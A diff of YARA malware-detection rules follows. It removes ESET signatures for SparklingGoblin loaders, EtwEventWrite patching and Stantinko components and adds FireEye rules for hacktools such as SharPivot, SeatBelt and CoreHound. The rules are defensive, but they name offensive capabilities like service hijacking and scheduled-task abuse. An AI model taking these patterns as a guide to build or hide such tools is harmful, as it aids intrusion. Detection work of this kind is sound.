-		id = "c0caceca-f685-5786-82f6-3ab7435f8061"
-		date = "2021-05-20"
-		modified = "2021-08-26"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/sparklinggoblin/SparklingGoblin.yar#L59-L368"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		hash = "2edbea43f5c40c867e5b6bbd93cc972525df598b"
-		hash = "b6d245d3d49b06645c0578804064ce0c072cbe0f"
-		hash = "8be6d5f040d0085c62b1459afc627707b0de89cf"
-		hash = "4668302969fe122874fb2447a80378dcb671c86b"
-		hash = "9bdecb08e16a23d271d0a3e836d9e7f83d7e2c3b"
-		hash = "9ce7650f2c08c391a35d69956e171932d116b8bd"
-		hash = "91b32e030a1f286e7d502ca17e107d4bfbd7394a"
-		logic_hash = "b742bc22e0ebbce40607cb109b4d6fb03a40c1fb223c8092d93346dd3dd22789"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "c2834bd6-efb0-5dac-adcd-a9450090fc28"
+		date = "2020-11-25"
+		date = "2020-11-25"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_1.yar#L4-L18"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "e4efa759d425e2f26fbc29943a30f5bd"
+		logic_hash = "1c71b9641e30c9764f3503e49f8f85472d7e62384c8dd2b420c4fa2b2fccda4f"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
+		rev = 3
 
 	strings:
-		$chunk_1 = {
-            8B 4D ??
-            56
-            8B 75 ??
-            57
-            8B 7D ??
-            8B 04 BB
-            01 04 93
-            8B 04 B3
-            33 04 93
-            C1 C0 10
-            89 04 B3
-            01 04 8B
-            8B 04 BB
-            33 04 8B
-            C1 C0 0C
-            89 04 BB
-            01 04 93
-            8B 04 B3
-            33 04 93
-            C1 C0 08
-            89 04 B3
-            01 04 8B
-            8B 04 BB
-            33 04 8B
-            C1 C0 07
-            89 04 BB
-        }
-		$chunk_2 = {
-            03 4D ??
-            44 03 C0
-            03 55 ??
-            33 F1
-            45 33 D8
-            C1 C6 10
-            44 33 F2
-            41 C1 C3 10
-            41 03 FB
-            41 C1 C6 10
-            45 03 E6
-            41 03 DA
-            44 33 CB
-            44 03 EE
-            41 C1 C1 10
-            8B C7
-            33 45 ??
-            45 03 F9
-            C1 C0 0C
-            44 03 C0
-            45 33 D8
-            44 89 45 ??
-            41 C1 C3 08
-            41 03 FB
-            44 8B C7
-            44 33 C0
-            41 8B C5
-            33 45 ??
-            C1 C0 0C
-            03 C8
-            41 C1 C0 07
-            33 F1
-            89 4D ??
-            C1 C6 08
-            44 03 EE
-            41 8B CD
-            33 C8
-            41 8B C4
-            33 45 ??
-            C1 C0 0C
-            03 D0
-            C1 C1 07
-            44 33 F2
-            89 55 ??
-            41 C1 C6 08
-            45 03 E6
-            41 8B D4
-            33 D0
-            41 8B C7
-            41 33 C2
-            C1 C2 07
-            C1 C0 0C
-            03 D8
-            44 33 CB
-            41 C1 C1 08
-            45 03 F9
-            45 8B D7
-            44 33 D0
-            8B 45 ??
-            03 C1
-            41 C1 C2 07
-            44 33 C8
-            89 45 ??
-            41 C1 C1 10
-            45 03 E1
-            41 8B C4
-            33 C1
-            8B 4D ??
-            C1 C0 0C
-            03 C8
-            44 33 C9
-            89 4D ??
-            89 4D ??
-            41 C1 C1 08
-            45 03 E1
-            41 8B CC
-            33 C8
-            8B 45 ??
-            C1 C1 07
-            89 4D ??
-            89 4D ??
-            03 C2
-            41 03 D8
-            89 45 ??
-            41 33 C3
-            C1 C0 10
-            44 03 F8
-            41 8B CF
-            33 CA
-            8B 55 ??
-        }
-		$chunk_3 = {
-            C7 45 ?? 65 78 70 61
-            4C 8D 45 ??
-            C7 45 ?? 6E 64 20 33
-            4D 8B F9
-            C7 45 ?? 32 2D 62 79
-            4C 2B C1
-            C7 45 ?? 74 65 20 6B
-        }
-		$chunk_4 = {
-            0F B6 02
-            0F B6 4A ??
-            C1 E1 08
-            0B C8
-            0F B6 42 ??
-            C1 E1 08
-            0B C8
-            0F B6 42 ??
-            C1 E1 08
-            0B C8
-            41 89 0C 10
-            48 8D 52 ??
-            49 83 E9 01
-        }
-		$chunk_5 = {
-            03 4D ??
-            44 03 C0
-            03 55 ??
-            33 F1
-            41 33 F8
-            C1 C6 10
-            44 33 F2
-            C1 C7 10
-            44 03 DF
-            41 C1 C6 10
-            45 03 E6
-            44 03 CB
-            45 33 D1
-            44 03 EE
-            41 C1 C2 10
-            41 8B C3
-            33 45 ??
-            45 03 FA
-            C1 C0 0C
-            44 03 C0
-            41 33 F8
-            44 89 45 ??
-            C1 C7 08
-            44 03 DF
-            45 8B C3
-            44 33 C0
-            41 8B C5
-            33 45 ??
-            C1 C0 0C
-            03 C8
-            41 C1 C0 07
-            33 F1
-            89 4D ??
-            C1 C6 08
-            44 03 EE
-            41 8B CD
-            33 C8
-            41 8B C4
-            33 45 ??
-            C1 C0 0C
-            03 D0
-            C1 C1 07
-            44 33 F2
-            89 55 ??
-            41 C1 C6 08
-            45 03 E6
-            41 8B D4
-            33 D0
-            41 8B C7
-            33 C3
-            C1 C2 07
-            C1 C0 0C
-            44 03 C8
-            45 33 D1
-            41 C1 C2 08
-            45 03 FA
-            41 8B DF
-            33 D8
-            8B 45 ??
-            03 C1
-            C1 C3 07
-            44 33 D0
-            89 45 ??
-            41 C1 C2 10
-            45 03 E2
-            41 8B C4
-            33 C1
-            8B 4D ??
-            C1 C0 0C
-            03 C8
-            44 33 D1
-            89 4D ??
-            89 4D ??
-            41 C1 C2 08
-            45 03 E2
-            41 8B CC
-            33 C8
-            8B 45 ??
-            C1 C1 07
-            89 4D ??
-            89 4D ??
-            03 C2
-            45 03 C8
-            89 45 ??
-            33 C7
-            C1 C0 10
-            44 03 F8
-            41 8B CF
-            33 CA
-            8B 55 ??
-            C1 C1 0C
-            03 D1
-            8B FA
-            89 55 ??
-            33 F8
-            89 55 ??
-            8B 55 ??
-            03 D3
-            C1 C7 08
-            44 03 FF
-            41 8B C7
-            33 C1
-            C1 C0 07
-            89 45 ??
-            89 45 ??
-            8B C2
-            33 C6
-            C1 C0 10
-            44 03 D8
-            41 33 DB
-            C1 C3 0C
-            03 D3
-            8B F2
-            89 55 ??
-            33 F0
-            41 8B C1
-            41 33 C6
-            C1 C6 08
-            C1 C0 10
-            44 03 DE
-            44 03 E8
-            41 33 DB
-            41 8B CD
-            C1 C3 07
-            41 33 C8
-            44 8B 45 ??
-            C1 C1 0C
-            44 03 C9
-            45 8B F1
-            44 33 F0
-            41 C1 C6 08
-            45 03 EE
-            41 8B C5
-            33 C1
-            8B 4D ??
-            C1 C0 07
-        }
+		$s2 = { 73 ?? 00 00 0A 0A 06 1F ?? 1F ?? 6F ?? 00 00 0A 0B 73 ?? 00 00 0A 0C 16 13 04 2B 5E 23 [8] 06 6F ?? 00 00 0A 5A 23 [8] 58 28 ?? 00 00 0A 28 ?? 00 00 0A 28 ?? 00 00 0A }
+		$s3 = "cmd_rpc" wide
+		$s4 = "costura"
+
+	condition:
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+}
+rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_2 : FILE
+{
+	meta:
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "8d6d28ce-de3a-5a38-b654-ba1372d47568"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_2.yar#L4-L20"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "e4efa759d425e2f26fbc29943a30f5bd"
+		logic_hash = "14e4a29a32e8441a6f7f322e09cd9bb9822ae47eaa1fdf8e09c90998b03658f5"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		rev = 3
+
+	strings:
+		$s1 = "costura"
+		$s2 = "cmd_schtask" wide
+		$s3 = "cmd_wmi" wide
+		$s4 = "cmd_rpc" wide
+		$s5 = "GoogleUpdateTaskMachineUA" wide
+		$s6 = "servicehijack" wide
+		$s7 = "poisonhandler" wide
 
 	condition:
-		any of them and filesize <450KB
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule ESET_Sparklinggoblin_Etweventwrite
+rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_4 : FILE
 {
 	meta:
-		description = "SparklingGoblin EtwEventWrite patching"
-		author = "ESET Research"
-		id = "27b36ee1-a98c-5174-a156-8e0b0d0a58cd"
-		date = "2021-05-20"
-		modified = "2021-08-26"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/sparklinggoblin/SparklingGoblin.yar#L370-L463"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		hash = "2edbea43f5c40c867e5b6bbd93cc972525df598b"
-		hash = "b6d245d3d49b06645c0578804064ce0c072cbe0f"
-		hash = "8be6d5f040d0085c62b1459afc627707b0de89cf"
-		hash = "4668302969fe122874fb2447a80378dcb671c86b"
-		hash = "9bdecb08e16a23d271d0a3e836d9e7f83d7e2c3b"
-		hash = "9ce7650f2c08c391a35d69956e171932d116b8bd"
-		logic_hash = "45615dcc5302392c18052818071623a9d1a1008c460bdb24a4acfb4300356c6b"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharPivot project."
+		author = "FireEye"
+		id = "c1bd64da-6a54-5bc6-8a89-9c8a93dd965c"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_4.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "e4efa759d425e2f26fbc29943a30f5bd"
+		logic_hash = "7ef883148926d5786861e5e81b1e645aa2e3ca06bd663f2b5f32e04b5852a218"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
+		quality = 73
+		tags = "FILE"
+		rev = 3
 
 	strings:
-		$chunk_1 = {
-            48 8D 0D ?? ?? ?? ??
-            C7 44 24 ?? 48 31 C0 C3
-            FF 15 ?? ?? ?? ??
-            48 8B C8
-            48 8D 15 ?? ?? ?? ??
-            FF 15 ?? ?? ?? ??
-            83 64 24 ?? 00
-            4C 8D 4C 24 ??
-            BF 04 00 00 00
-            48 8B C8
-            8B D7
-            48 8B D8
-            44 8D 47 ??
-            FF 15 ?? ?? ?? ??
-            44 8B C7
-            48 8D 54 24 ??
-            48 8B CB
-            E8 ?? ?? ?? ??
-            44 8B 44 24 ??
-            4C 8D 4C 24 ??
-            8B D7
-            48 8B CB
-            FF 15 ?? ?? ?? ??
-            48 8B 05 ?? ?? ?? ??
-        }
-		$chunk_2 = {
-            55
-            8B EC
-            51
-            51
-            57
-            68 08 1A 41 00
-            66 C7 45 ?? C2 14
-            C6 45 ?? 00
-            FF 15 ?? ?? ?? ??
-            68 10 1A 41 00
-            50
-            FF 15 ?? ?? ?? ??
-            83 65 ?? 00
-            8B F8
-            8D 45 ??
-            50
-            6A 40
-            6A 03
-            57
-            FF 15 ?? ?? ?? ??
-            6A 03
-            8D 45 ??
-            50
-            57
-            E8 ?? ?? ?? ??
-            83 C4 0C
-            8D 45 ??
-            50
-            FF 75 ??
-            6A 03
-            57
-            FF 15 ?? ?? ?? ??
-        }
-		$chunk_3 = {
-            48 8D 0D ?? ?? ?? ??
-            C7 44 24 ?? 48 31 C0 C3
-            FF 15 ?? ?? ?? ??
-            48 8B C8
-            48 8D 15 ?? ?? ?? ??
-            FF 15 ?? ?? ?? ??
-        }
+		$typelibguid1 = "44B83A69-349F-4A3E-8328-A45132A70D62" ascii nocase wide
 
 	condition:
-		any of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
 }
-import "pe"
-
-rule ESET_Sparklinggoblin_Mutex
+rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_3 : FILE
 {
 	meta:
-		description = "SparklingGoblin ChaCha20 loaders mutexes"
-		author = "ESET Research"
-		id = "e33d2bc1-29d6-5117-8e0f-31f8bced0979"
-		date = "2021-05-20"
-		modified = "2021-08-26"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/sparklinggoblin/SparklingGoblin.yar#L465-L489"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		hash = "2edbea43f5c40c867e5b6bbd93cc972525df598b"
-		hash = "b6d245d3d49b06645c0578804064ce0c072cbe0f"
-		hash = "8be6d5f040d0085c62b1459afc627707b0de89cf"
-		hash = "4668302969fe122874fb2447a80378dcb671c86b"
-		hash = "9bdecb08e16a23d271d0a3e836d9e7f83d7e2c3b"
-		hash = "9ce7650f2c08c391a35d69956e171932d116b8bd"
-		logic_hash = "00fbd514c8e2d6dea3b0f175e857a613e158b64caf1f970e814d62f1ebe9d35c"
+		description = "This rule looks for .NET PE files that have the strings of various method names in the SharPivot code."
+		author = "FireEye"
+		id = "616333fc-4075-5f04-823a-1164717a2b87"
+		date = "2020-12-10"
+		modified = "2020-12-10"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPIVOT/production/yara/HackTool_MSIL_SharPivot_3.yar#L4-L31"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "e4efa759d425e2f26fbc29943a30f5bd"
+		logic_hash = "ecf13e47e409efd68b508735a84be6a1627f5b0c0cea6b90434fc9ba5b1d8cf5"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
+		quality = 75
+		tags = "FILE"
+		rev = 3
 
 	strings:
-		$mutex_1 = "kREwdFrOlvASgP4zWZyV89m6T2K0bIno"
-		$mutex_2 = "v5EPQFOImpTLaGZes3Nl1JSKHku8AyCw"
+		$msil = "_CorExeMain" ascii wide
+		$str1 = "SharPivot" ascii wide
+		$str2 = "ParseArgs" ascii wide
+		$str3 = "GenRandomString" ascii wide
+		$str4 = "ScheduledTaskExists" ascii wide
+		$str5 = "ServiceExists" ascii wide
+		$str6 = "lpPassword" ascii wide
+		$str7 = "execute" ascii wide
+		$str8 = "WinRM" ascii wide
+		$str9 = "SchtaskMod" ascii wide
+		$str10 = "PoisonHandler" ascii wide
+		$str11 = "SCShell" ascii wide
+		$str12 = "SchtaskMod" ascii wide
+		$str13 = "ServiceHijack" ascii wide
+		$str14 = "commandArg" ascii wide
+		$str15 = "payloadPath" ascii wide
+		$str16 = "Schtask" ascii wide
 
 	condition:
-		any of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $msil and all of ($str*)
 }
-import "pe"
-
-rule ESET_Beds_Plugin
+rule FIREEYE_RT_Hacktool_MSIL_Corehound_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "7c038e92-1064-503e-9d63-2d2c10f1759e"
-		date = "2017-07-17"
-		modified = "2017-07-20"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/stantinko/stantinko.yar#L34-L51"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "024cb91288f133e4cdf5993ac0477de6de76d38fa06f7affa348c6a28a4600da"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CoreHound' project."
+		author = "FireEye"
+		id = "8c914b34-3e3d-53ae-a5e4-9dbfdff45a24"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/COREHOUND/production/yara/HackTool_MSIL_CoreHound_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "b0f759709428d5c9404507a13259bf85cb8c405d38b807539098f7cc871023d8"
 		score = 75
-		quality = 80
-		tags = ""
-		Author = "Frédéric Vachon"
-		Description = "Stantinko BEDS' plugins"
-		Contact = "github@eset.com"
-		License = "BSD 2-Clause"
+		quality = 73
+		tags = "FILE"
+		rev = 1
+
+	strings:
+		$typelibguid0 = "1fff2aee-a540-4613-94ee-4f208b30c599" ascii nocase wide
 
 	condition:
-		pe.exports("CheckDLLStatus") and pe.exports("GetPluginData") and pe.exports("InitializePlugin") and pe.exports("IsReleased") and pe.exports("ReleaseDLL")
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-import "pe"
-
-rule ESET_Beds_Dropper
+rule FIREEYE_RT_Hacktool_MSIL_SEATBELT_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "47ccab59-253f-55d4-b38a-4441802626fc"
-		date = "2017-07-17"
-		modified = "2017-07-20"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/stantinko/stantinko.yar#L53-L67"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "4b5d121e182e3fddd766a7a1227c5de273995e9336156e7a6e8a17faad681bea"
+		description = "This rule looks for .NET PE files that have regex and format strings found in the public tool SeatBelt. Due to the nature of the regex and format strings used for detection, this rule should detect custom variants of the SeatBelt project."
+		author = "FireEye"
+		id = "46477f87-2458-5b8e-894a-9aa536a441ad"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BELTALOWDA/production/yara/HackTool_MSIL_SEATBELT_1.yar#L4-L25"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "848837b83865f3854801be1f25cb9f4d"
+		logic_hash = "4248e5561ef60e725c23efc89c899d6fc8be5bf2142f700fb70daecd72c30dd8"
 		score = 75
-		quality = 80
-		tags = ""
-		Author = "Frédéric Vachon"
-		Description = "BEDS dropper"
-		Contact = "github@eset.com"
-		License = "BSD 2-Clause"
+		quality = 30
+		tags = "FILE"
+		rev = 3
+
+	strings:
+		$msil = "_CorExeMain" ascii wide
+		$str1 = "{ Process = {0}, Path = {1}, CommandLine = {2} }" ascii nocase wide
+		$str2 = "Domain=\"(.*)\",Name=\"(.*)\"" ascii nocase wide
+		$str3 = "LogonId=\"(\\d+)\"" ascii nocase wide
+		$str4 = "{0}.{1}.{2}.{3}" ascii nocase wide
+		$str5 = "^\\W*([a-z]:\\\\.+?(\\.exe|\\.dll|\\.sys))\\W*" ascii nocase wide
+		$str6 = "*[System/EventID={0}]" ascii nocase wide
+		$str7 = "*[System[TimeCreated[@SystemTime >= '{" ascii nocase wide
+		$str8 = "(http|ftp|https|file)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?" ascii nocase wide
+		$str9 = "{0}" ascii nocase wide
+		$str10 = "{0,-23}" ascii nocase wide
 
 	condition:
-		pe.imphash()=="a7ead4ef90d9981e25728e824a1ba3ef"
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $msil and all of ($str*)
 }
-import "pe"
-
-rule ESET_Facebook_Bot : FILE
+rule FIREEYE_RT_Hacktool_MSIL_SEATBELT_2 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "643b137f-af79-584c-8266-f2335a79f1ba"
-		date = "2017-07-17"
-		modified = "2017-07-20"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/stantinko/stantinko.yar#L69-L100"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "8ea779f90fa6080398403e3e6f9d342360c35e93c756ed43cb699f090106504e"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SeatBelt project."
+		author = "FireEye"
+		id = "225b42fe-c73a-59c0-a1f4-1d6dff6e76e1"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BELTALOWDA/production/yara/HackTool_MSIL_SEATBELT_2.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "9f401176a9dd18fa2b5b90b4a2aa1356"
+		logic_hash = "e48474c5025fd88e3c2824e1e943ff56cde0ea05984aad0249ccf73caa6d4a36"
 		score = 75
-		quality = 55
+		quality = 73
 		tags = "FILE"
-		Author = "Frédéric Vachon"
-		Description = "Stantinko's Facebook bot"
-		Contact = "github@eset.com"
-		License = "BSD 2-Clause"
+		rev = 3
 
 	strings:
-		$s1 = "m_upload_pic&return_uri=https%3A%2F%2Fm.facebook.com%2Fprofile.php" fullword ascii
-		$s2 = "D:\\work\\brut\\cms\\facebook\\facebookbot\\Release\\facebookbot.pdb" fullword ascii
-		$s3 = "https%3A%2F%2Fm.facebook.com%2Fcomment%2Freplies%2F%3Fctoken%3D" fullword ascii
-		$s4 = "reg_fb_gate=https%3A%2F%2Fm.facebook.com%2Freg" fullword ascii
-		$s5 = "reg_fb_ref=https%3A%2F%2Fm.facebook.com%2Freg%2F" fullword ascii
-		$s6 = "&return_uri_error=https%3A%2F%2Fm.facebook.com%2Fprofile.php" fullword ascii
-		$x1 = "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36" fullword ascii
-		$x2 = "registration@facebookmail.com" fullword ascii
-		$x3 = "https://m.facebook.com/profile.php?mds=" fullword ascii
-		$x4 = "https://upload.facebook.com/_mupload_/composer/?profile&domain=" fullword ascii
-		$x5 = "http://staticxx.facebook.com/connect/xd_arbiter.php?version=42#cb=ff43b202c" fullword ascii
-		$x6 = "https://upload.facebook.com/_mupload_/photo/x/saveunpublished/" fullword ascii
-		$x7 = "m.facebook.com&ref=m_upload_pic&waterfall_source=" fullword ascii
-		$x8 = "payload.commentID" fullword ascii
-		$x9 = "profile.login" fullword ascii
+		$typelibguid1 = "AEC32155-D589-4150-8FE7-2900DF4554C8" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and (1 of ($s*) or 3 of ($x*))) or ( all of them )
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
 }
-import "pe"
-
-rule ESET_Pds_Plugins : FILE
+rule FIREEYE_RT_Loader_MSIL_Inmemorycompilation_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "dfa75db5-f21c-5b5e-84ba-3bfdcc3efdcd"
-		date = "2017-07-17"
-		modified = "2017-07-20"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/stantinko/stantinko.yar#L102-L130"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "26bbd380b72fb45206178639d67c8737b9984b140ba1048432949e159946c847"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'In-MemoryCompilation' project."
+		author = "FireEye"
+		id = "80234352-a449-5292-9f0c-beb7a1d39a6c"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MEMCOMP/production/yara/Loader_MSIL_InMemoryCompilation_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "a964a186eb02a2792db01727a31ddaa2414fe9df83cda9b1c9db15d94603303a"
 		score = 75
-		quality = 80
+		quality = 73
 		tags = "FILE"
-		Author = "Frédéric Vachon"
-		Description = "Stantinko PDS' plugins"
-		Contact = "github@eset.com"
-		License = "BSD 2-Clause"
+		rev = 2
 
 	strings:
-		$s1 = "std::_Vector_val<CHTTPPostItem *,std::allocator<CHTTPPostItem *> >" fullword ascii
-		$s2 = "std::_Vector_val<CHTTPHeader *,std::allocator<CHTTPHeader *> >" fullword ascii
-		$s3 = "std::vector<CHTTPHeader *,std::allocator<CHTTPHeader *> >" fullword ascii
-		$s4 = "std::vector<CHTTPPostItem *,std::allocator<CHTTPPostItem *> >" fullword ascii
-		$s5 = "CHTTPHeaderManager" fullword ascii
-		$s6 = "CHTTPPostItemManager *" fullword ascii
-		$s7 = "CHTTPHeaderManager *" fullword ascii
-		$s8 = "CHTTPPostItemManager" fullword ascii
-		$s9 = "CHTTPHeader" fullword ascii
-		$s10 = "CHTTPPostItem" fullword ascii
-		$s11 = "std::vector<CCookie *,std::allocator<CCookie *> >" fullword ascii
-		$s12 = "std::_Vector_val<CCookie *,std::allocator<CCookie *> >" fullword ascii
-		$s13 = "CCookieManager *" fullword ascii
+		$typelibguid0 = "524d2687-0042-4f93-b695-5579f3865205" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and (2 of ($s*)))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-import "pe"
+rule FIREEYE_RT_Loader_MSIL_Csharpsectioninjection_1 : FILE
+{
+	meta:
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'C_Sharp_SectionInjection' project."
+		author = "FireEye"
+		id = "ca5bf5cd-1950-53ed-8984-e880a15e658e"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSECTIONINJECTION/production/yara/Loader_MSIL_CSharpSectionInjection_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "011cf4dffe6ef90a79cdfabb0e297152c00b0404b1801f56fd7e703ab90b1692"
+		score = 75
+		quality = 73
+		tags = "FILE"
+		rev = 2
 
-rule ESET_Stantinko_Pdb
+	strings:
+		$typelibguid0 = "d77135da-0496-4b5c-9afe-e1590a4c136a" ascii nocase wide
+
+	condition:
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+}
+rule FIREEYE_RT_Trojan_Macro_RESUMEPLEASE_1
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "24694e53-b89e-5cd3-ad53-e738bbd7d69d"
-		date = "2017-07-17"
-		modified = "2017-07-20"
-		reference = "https://github.com/eset/malware-ioc/"
